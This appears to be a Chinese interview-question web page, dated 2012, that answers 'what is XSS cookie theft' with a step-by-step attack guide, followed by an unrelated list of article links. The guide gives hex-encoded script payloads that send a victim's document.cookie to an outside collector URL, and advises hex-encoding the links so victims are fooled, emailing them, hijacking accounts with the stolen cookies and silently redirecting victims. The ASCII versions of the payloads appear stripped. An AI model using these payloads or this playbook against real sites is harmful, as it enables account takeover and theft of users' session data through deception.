能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
如何强制垃圾回收
Oct 06 面试题
Java里面如何创建一个内部类的实例
Jan 19 面试题
经典C++面试题一
Nov 06 面试题
天网面试题
Apr 07 面试题
什么是静态路由,其特点是什么?什么是动态路由,其特点是什么?
Jul 26 面试题
LINUX下线程,GDI类的解释
Apr 17 面试题
下列程序在32位linux或unix中的结果是什么
Mar 25 面试题
介绍一下结构化程序设计方法和面向对象程序设计方法的区别
Jun 27 面试题
客服端调用EJB对象的几个基本步骤
Jan 15 面试题
AJAX的全称是什么
Nov 06 面试题
Java程序员综合测试题
Apr 25 面试题
如何理解transaction事务的概念
May 27 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
非常好的php目录导航文件代码
2006/10/09 PHP
基于python发送邮件的乱码问题的解决办法
2013/04/25 PHP
javascript知识点收藏
2007/02/22 Javascript
关于jQuery参考实例2.0 用jQuery选择元素
2013/04/07 Javascript
解决js中window.open弹出的是上次的缓存页面问题
2013/12/29 Javascript
通过遮罩层实现浮层DIV登录的js代码
2014/02/07 Javascript
TinyMCE汉化及本地上传图片功能实例详解
2016/05/31 Javascript
微信小程序实现城市列表选择
2018/06/05 Javascript
浅谈Node.js 中间件模式
2018/06/12 Javascript
JS实现方形抽奖效果
2018/08/27 Javascript
JS实现十分钟倒计时代码实例
2018/10/18 Javascript
从vue源码看props的用法
2019/01/09 Javascript
angular 服务随记小结
2019/05/06 Javascript
js针对图片加载失败的处理方法分析
2019/08/24 Javascript
jquery实现的放大镜效果示例
2020/02/24 jQuery
[59:59]EG vs IG 2018国际邀请赛小组赛BO2 第二场 8.16
2018/08/17 DOTA
[03:12]完美世界DOTA2联赛PWL DAY6集锦
2020/11/05 DOTA
[01:00:13]完美世界DOTA2联赛 LBZS vs Forest 第一场 11.07
2020/11/09 DOTA
复制粘贴功能的Python程序
2008/04/04 Python
Python基于pillow判断图片完整性的方法
2016/09/18 Python
python中format函数如何使用
2020/06/22 Python
用Python实现职工信息管理系统
2020/12/30 Python
10分钟入门CSS3 Animation
2018/12/25 HTML / CSS
亚瑟士美国官网:ASICS美国
2017/02/01 全球购物
澳洲小众品牌的集合网站:BNKR
2018/02/23 全球购物
C#中的验证控件有几种
2014/03/08 面试题
大二自我鉴定
2014/01/31 职场文书
《列夫托尔斯泰》教学反思
2014/02/10 职场文书
《菜园里》教学反思
2014/04/17 职场文书
员工薪酬激励方案
2014/06/13 职场文书
新闻编辑专业自荐信
2014/07/02 职场文书
大学团日活动新闻稿
2014/09/10 职场文书
初二学生评语大全
2014/12/26 职场文书
介绍信格式样本
2015/05/05 职场文书
五年级作文之劳动作文
2019/11/12 职场文书
用python开发一款操作MySQL的小工具
2021/05/12 Python